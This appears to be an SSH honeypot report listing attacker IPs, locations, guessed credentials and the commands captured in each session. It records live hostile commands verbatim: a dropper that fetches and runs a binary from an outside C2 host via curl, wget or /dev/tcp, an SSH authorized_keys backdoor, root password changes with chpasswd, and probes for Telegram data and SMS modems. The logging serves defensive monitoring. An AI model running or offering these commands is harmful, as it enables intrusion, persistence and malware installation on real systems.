🎭 stoic_stroopwafel_root (192.109.200.220) — Eygelshoven, The Netherlands · 31 sessions · 31 cmds

2026-06-13 01:29 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×31

🎭 brisk_harbor_root (40.81.16.211) — Hong Kong, Hong Kong · 1 session · 1 cmd

2026-06-13 02:11 EDT · as root/12345678

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 lurking_shogun_root (207.148.108.129) — Minamishinagawa, Japan · 1 session · 1 cmd

2026-06-12 21:12 EDT · as user/user

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 unhinged_cowboy_root (73.36.177.174) — Lombard, United States · 1 session · 2 cmds

2026-06-12 18:26 EDT · as oracle/Welcome1

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 jittery_panda_root (150.158.13.42) — Shanghai, China · 1 session · 2 cmds

2026-06-12 17:50 EDT · as oracle/Welcome1

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 aloof_seoul_root (59.26.193.177) — Daejeon, South Korea · 2 sessions · 18 cmds

2026-05-19 09:17 EDT · as root/root

network mapping → OS/kernel identification → CPU profiling

$ /ip cloud print ×2

$ ifconfig ×2

↳ network mapping

$ uname -a ×2

↳ OS/kernel identification

$ cat /proc/cpuinfo ×2

↳ CPU profiling

$ ps | grep '[Mm]iner' ×2

$ ps -ef | grep '[Mm]iner' ×2

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/* ×2

$ locate D877F783D5D3EF8Cs ×2

$ echo Hi | cat -n ×2

🎭 brazen_windmill_root (77.83.39.101) — Amsterdam, The Netherlands · 1 session · 1 cmd

2026-06-06 09:01 EDT · as oracle/123qwerty

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a

↳ CPU profiling

🎭 feral_shadow_root (130.12.181.103) — Ljubljana, Slovenia · 1 session · 1 cmd

2026-06-04 22:48 EDT · as oracle/p4ssword

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a

↳ CPU profiling

🎭 midnight_dutch_root (77.83.39.237) — Amsterdam, The Netherlands · 1 session · 1 cmd

2026-06-04 14:40 EDT · as root/admin

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a

↳ CPU profiling

🎭 aloof_echo_root (130.12.181.100) — Ljubljana, Slovenia · 1 session · 1 cmd

2026-06-04 07:02 EDT · as oracle/vps

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a

↳ CPU profiling

🎭 crimson_dutch_root (77.83.39.217) — Amsterdam, The Netherlands · 1 session · 1 cmd

2026-06-04 05:12 EDT · as oracle/welc0me@123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a

↳ CPU profiling

🎭 crimson_wraith_root (130.12.181.97) — Ljubljana, Slovenia · 1 session · 1 cmd

2026-06-04 01:46 EDT · as oracle/welcome1

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a

↳ CPU profiling

🎭 unhinged_windmill_root_154 (77.83.39.154) — Amsterdam, The Netherlands · 1 session · 1 cmd

2026-06-04 01:04 EDT · as oracle/pass1234

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a

↳ CPU profiling

🎭 spectral_moose_root (69.48.229.92) — Montreal, Canada · 3 sessions · 3 cmds

2026-06-04 00:41 EDT · as root/123456, root/password, root/root

privilege check (repeated privilege check 3x)

$ id ×3

↳ privilege check

🎭 velvet_tulip_sol (77.83.39.226) — Amsterdam, The Netherlands · 1 session · 1 cmd

2026-06-03 15:37 EDT · as oracle/Abc12345

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a

↳ CPU profiling

🎭 midnight_tulip_root (77.83.39.238) — Amsterdam, The Netherlands · 1 session · 1 cmd

2026-06-03 12:56 EDT · as oracle/1234.com

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a

↳ CPU profiling

🎭 nocturnal_wraith_root (130.12.181.106) — Ljubljana, Slovenia · 1 session · 1 cmd

2026-06-03 04:23 EDT · as oracle/dell-2023

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a

↳ CPU profiling

🎭 brazen_void_root (130.12.181.101) — Ljubljana, Slovenia · 1 session · 1 cmd

2026-06-02 19:44 EDT · as oracle/passw0rd

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a

↳ CPU profiling

🎭 wired_void_db (130.12.181.102) — Ljubljana, Slovenia · 1 session · 1 cmd

2026-06-02 15:21 EDT · as oracle/1qazwsx

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a

↳ CPU profiling

🎭 scrappy_windmill_db (77.83.39.227) — Amsterdam, The Netherlands · 1 session · 1 cmd

2026-06-02 14:22 EDT · as postgres/postgres

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a

↳ CPU profiling

🎭 aloof_liberty_sol (92.118.39.63) — Dallas, United States · 667 sessions · 667 cmds

2026-05-06 18:47 EDT · as sol/123, sol/12345678, sol/sol

Ran uname 960x across 960 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m ×667

↳ obfuscated system check

🎭 velvet_komodo_crypto (103.24.212.42) — Semarang, Indonesia · 112 sessions · 113 cmds

2026-05-12 21:18 EDT · as bitcoin/bitcoin

echo BMOK → echo OK → grep -c "^phil:" /etc/passwd → bash -c "id phil 2>&1; echo EXIT=\$?" → id phil 2>&1; echo EXIT=\$? → id phil 2>&1; echo EXITCODE=$? → getent passwd phil 2>/dev/null && echo 'PHILEXISTS' || echo '

$ echo BMOK ×106

$ echo OK

$ grep -c "^phil:" /etc/passwd

$ bash -c "id phil 2>&1; echo EXIT=\$?"

$ id phil 2>&1; echo EXIT=\$?

$ id phil 2>&1; echo EXIT_CODE=$?

$ getent passwd phil 2>/dev/null && echo 'PHIL_EXISTS' || echo 'NO_PHIL'

↳ password change attempt

$ echo 'SSH_OK'; hostname; whoami; id

🎭 zealous_panda_root_170 (139.170.141.170) — Xining, China · 1 session · 1 cmd

2026-05-22 01:36 EDT · as deploy/deploy123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 manic_dragon_root_204 (113.44.116.204) — Beijing, China · 1 session · 5 cmds

2026-05-22 01:27 EDT · as root/123456

echo → payload download from C2 → execute from /tmp → '8

$ echo 1 > /dev/null && cat /bin/echo

$ nohup $SHELL -c "curl http://39.97.246.227:9613/linux -o /tmp/xiyhIaz9hs; if [ ! -f /tmp/xiyhIaz9hs ]; then wget http://39.97.246.227:9613/linux -O /tmp/xiyhIaz9hs; fi; if [ ! -f /tmp/xiyhIaz9hs ]; then exec 6<>/dev/tcp/39.97.246.227/9613 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/xiyhIaz9hs ; chmod +x /tmp/xiyhIaz9hs && /tmp/xiyhIaz9hs JwGdCT9gfhGRISciPY0dfnQ/CJ4TRlIWggk0f2IZhyc8IyCHEnV2NAuMFVFIGZoWNHdiGYgjKCQjjhl1bjcJlA9XURmCCTJ6YhyOKSUmJYcIeHkoAJUPVFITggk0fXYehyUlMiuRGn12KAqcEkhfEZYAMXl1CIc9IyYrkR51YDcKlRtfVxGZGDV3YhGIPSAmJZEafnk8AZoQVUYXnBY3eXwGjSYhPCSIEnp+NwiZAVJfD54LMmB5HpEiKispiRp0diYAghNXUQ+eCDVgfhuHKSUnIY4IfXY1Fp0QSFQTmhY0fnsSiCIgJzOLH2J8MgqCEFZeD5sJPHh8GY8kMiYkkRp4fCgNlA9eUhuaCDd+dQiLJDwgIIYGfXc3Fp0WUVwXng82bn0ZjD0mJj2OGXpgNAiYG1BfGZsYN390Bo4jJTwmkRp+dzwOmhVVRhWZFjd9fwaIJjwnIoUeeH4/GJ4QVEgZnBY0fnkGjiAlKCqOEXpuMg+CEFRXD50AMmB9G4cpKyohjAh9eTAWlBlIXw+dCDB0dRCIJDIjJo0Gf3woCpgRSFcXmwI/e3kenyclPCGMEWJ/MQmCEFdeG5sNMHtsHIg9KiQ9jRFifzEIlhdWVxCVGDd2fwaOIjwgIYkGfn4xApsQVFMBnQgwYH0akSIkIz2OHnV0MQ6UE0ZSFoIKNXdiGYYiPCMkiBJ6fDEIjBJfSBiaFjd3ewaMJCgkIIYdbHg2Fp0XSF4PmAo8d3kejDMqPCGOH2J8NguCE1VeG5sNNH99Af+rF6Fy+aBmuKp1H9E+7xGTUyAbARc=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/xiyhIaz9hs && /tmp/xiyhIaz9hs JwGdCT9gfhGRISciPY0dfnQ/CJ4TRlIWggk0f2IZhyc8IyCHEnV2NAuMFVFIGZoWNHdiGYgjKCQjjhl1bjcJlA9XURmCCTJ6YhyOKSUmJYcIeHkoAJUPVFITggk0fXYehyUlMiuRGn12KAqcEkhfEZYAMXl1CIc9IyYrkR51YDcKlRtfVxGZGDV3YhGIPSAmJZEafnk8AZoQVUYXnBY3eXwGjSYhPCSIEnp+NwiZAVJfD54LMmB5HpEiKispiRp0diYAghNXUQ+eCDVgfhuHKSUnIY4IfXY1Fp0QSFQTmhY0fnsSiCIgJzOLH2J8MgqCEFZeD5sJPHh8GY8kMiYkkRp4fCgNlA9eUhuaCDd+dQiLJDwgIIYGfXc3Fp0WUVwXng82bn0ZjD0mJj2OGXpgNAiYG1BfGZsYN390Bo4jJTwmkRp+dzwOmhVVRhWZFjd9fwaIJjwnIoUeeH4/GJ4QVEgZnBY0fnkGjiAlKCqOEXpuMg+CEFRXD50AMmB9G4cpKyohjAh9eTAWlBlIXw+dCDB0dRCIJDIjJo0Gf3woCpgRSFcXmwI/e3kenyclPCGMEWJ/MQmCEFdeG5sNMHtsHIg9KiQ9jRFifzEIlhdWVxCVGDd2fwaOIjwgIYkGfn4xApsQVFMBnQgwYH0akSIkIz2OHnV0MQ6UE0ZSFoIKNXdiGYYiPCMkiBJ6fDEIjBJfSBiaFjd3ewaMJCgkIIYdbHg2Fp0XSF4PmAo8d3kejDMqPCGOH2J8NguCE1VeG5sNNH99Af+rF6Fy+aBmuKp1H9E+7xGTUyAbARc=" &

↳ payload download from C2

$ head -c 3716336 > /tmp/qpyTTUq2BJ

↳ execute from /tmp

$ echo 1 > /dev/null && cat /bin/echoQtd#0000

$ >A@/`'8

🎭 wily_dragon_root_14 (120.27.149.14) — Hangzhou, China · 1 session · 1 cmd

2026-05-22 01:08 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 crimson_satay_root (103.175.16.86) — Cyberjaya, Malaysia · 2 sessions · 2 cmds

2026-05-10 02:38 EDT · as pi/raspberry, tomcat/tomcat

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -a ×2

↳ OS/kernel identification

🎭 silent_silk_root_171 (39.96.6.171) — Beijing, China · 1 session · 1 cmd

2026-05-21 22:27 EDT · as mysql/mysql

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 wily_strudel (91.98.114.126) — Nuremberg, Germany · 1 session · 1 cmd

2026-05-21 21:26 EDT · as deploy/deploy

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 haywire_clog_sol (193.32.162.35) — Amsterdam, The Netherlands · 204 sessions · 204 cmds

2026-05-13 14:16 EDT · as bitcoin/bitcoin, eth/eth, firedancer/firedancer

Ran uname 204x across 204 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m ×204

↳ obfuscated system check

🎭 ashen_hawker_root (43.134.72.220) — Singapore, Singapore · 1 session · 1 cmd

2026-05-21 21:05 EDT · as root/12345678

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 nocturnal_toque_root (4.204.204.51) — Toronto, Canada · 1 session · 1 cmd

2026-05-21 20:50 EDT · as user/password

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 clandestine_panda (8.135.29.109) — Shenzhen, China · 1 session · 1 cmd

2026-05-21 20:14 EDT · as deploy/deploy123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 frantic_dragon (47.120.26.188) — Shenzhen, China · 1 session · 1 cmd

2026-05-21 20:09 EDT · as test/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 rabid_panda_root_158 (222.90.32.158) — Xi'an, China · 2 sessions · 2 cmds

2026-05-18 01:38 EDT · as admin/admin123, user/password

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -a ×2

↳ OS/kernel identification

🎭 weary_silk_root_49 (8.130.115.49) — Beijing, China · 1 session · 1 cmd

2026-05-21 17:11 EDT · as deploy/deploy

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 sneaky_kopi_root (43.156.203.174) — Singapore, Singapore · 2 sessions · 2 cmds

2026-05-15 06:15 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a ×2

↳ OS/kernel identification

🎭 murky_bonsai_root (132.145.115.202) — Tokyo, Japan · 3 sessions · 3 cmds

2026-05-08 17:24 EDT · as deploy/deploy, root/1234, root/root

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a ×3

↳ OS/kernel identification

🎭 restless_cowboy_sol (206.189.229.161) — North Bergen, United States · 1 session · 1 cmd

2026-05-21 14:45 EDT · as sol/sol

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m

↳ obfuscated system check

🎭 ironclad_panda_root (116.177.172.108) — Jinrongjie, China · 5 sessions · 5 cmds

2026-05-08 05:00 EDT · as admin/123456, pi/raspberry, root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a ×5

↳ OS/kernel identification

🎭 ironclad_cowboy_root (159.65.221.34) — North Bergen, United States · 2 sessions · 2 cmds

2026-05-11 16:11 EDT · as oracle/test1234, pi/raspberry

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -a ×2

↳ OS/kernel identification

🎭 unhinged_silk_root (8.134.170.118) — Guangzhou, China · 1 session · 1 cmd

2026-05-21 12:00 EDT · as mysql/mysql

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 feral_bike_root_121 (176.65.139.121) — Eygelshoven, The Netherlands · 5 sessions · 5 cmds

2026-05-21 11:48 EDT · as admin/admin, pi/raspberry, root/1234

cat (repeated cat 5x)

$ cat /proc/version && cat /etc/hostname 2>/dev/null || cat /etc/hosts 2>/dev/null ×5

🎭 brazen_lantern_root (110.41.159.219) — Guangzhou, China · 1 session · 1 cmd

2026-05-21 11:38 EDT · as pi/raspberry

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 ashen_scarab_root (156.218.45.217) — Madīnat as Sādāt, Egypt · 1 session · 9 cmds

2026-05-21 10:32 EDT · as root/root

root/root login → /ip cloud print → ifconfig → uname -a → cat /proc/cpuinfo → ps | grep '[Mm]iner' → ps -ef | grep '[Mm]iner' → ls -la ~/.local/share/TelegramDesktop/tdata /home//.local/share/TelegramDesktop/tdata /dev/ttyGSM → locate D877F7

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 rabid_gouda_sol (193.32.162.145) — Amsterdam, The Netherlands · 26 sessions · 26 cmds

2026-05-09 21:00 EDT · as jito/jito, raydium/raydium, sol/sol

Ran uname 71x across 71 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m ×26

↳ obfuscated system check

🎭 aloof_chateau_root (128.78.143.196) — Grenoble, France · 2 sessions · 39 cmds

2026-05-21 09:20 EDT · as guest/guest, root/password

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2

↳ CPU profiling

$ echo -e "guest\nuq1CpyhyvGdT\nuq1CpyhyvGdT"|passwd|bash

$ Enter new UNIX password:

$ echo "guest\nuq1CpyhyvGdT\nuq1CpyhyvGdT\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2

↳ persistence setup

$ w ×2

↳ logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2

↳ CPU profiling

$ top ×2

↳ process monitoring

$ uname ×2

↳ OS identification

$ uname -a ×2

↳ OS/kernel identification

$ whoami ×2

↳ privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:INMF8mmy7qG0"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

🎭 baroque_hanbok_root (59.27.249.238) — Cheonan, South Korea · 1 session · 9 cmds

2026-05-21 09:39 EDT · as root/root

network mapping → OS/kernel identification → CPU profiling

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 ironclad_acai_root (191.6.25.239) — São Domingos do Maranhão, Brazil · 1 session · 20 cmds

2026-05-21 09:30 EDT · as tomcat/tomcat123

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "tomcat123\nOzcwanL3xW3k\nOzcwanL3xW3k"|passwd|bash

$ Enter new UNIX password:

$ echo "tomcat123\nOzcwanL3xW3k\nOzcwanL3xW3k\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 manic_harbor_root (165.154.6.26) — Hong Kong, Hong Kong · 1 session · 19 cmds

2026-05-21 08:40 EDT · as root/admin

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:tIRLszGOu7j4"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 nocturnal_zubr_root (85.158.57.3) — Warsaw, Poland · 1 session · 19 cmds

2026-05-21 08:40 EDT · as root/admin

cd ~; chattr -ia .ssh; lockr -ia .ssh → cd ~ && rm -rf .ssh && mkdir .ssh → echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv... → cat /proc/cpuinfo | grep name | wc

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:lUqYgo1FX6Wk"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 manic_windmill_sol (45.156.87.69) — Eygelshoven, The Netherlands · 32 sessions · 32 cmds

2026-05-21 07:50 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 32x across 32 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×32

🎭 velvet_gouda_root (45.114.63.93) — Amsterdam, The Netherlands · 19 sessions · 19 cmds

2026-05-21 03:50 EDT · as admin/admin, admin/password, deploy/deploy

Ran uname 19x across 19 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×19

🎭 silent_lantern_root_231 (116.177.174.231) — Jinrongjie, China · 1 session · 1 cmd

2026-05-21 02:55 EDT · as root/12345678

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 manic_harbor_root_18 (144.48.243.18) — Tsim Sha Tsui, Hong Kong · 1 session · 19 cmds

2026-05-21 02:18 EDT · as root/toor

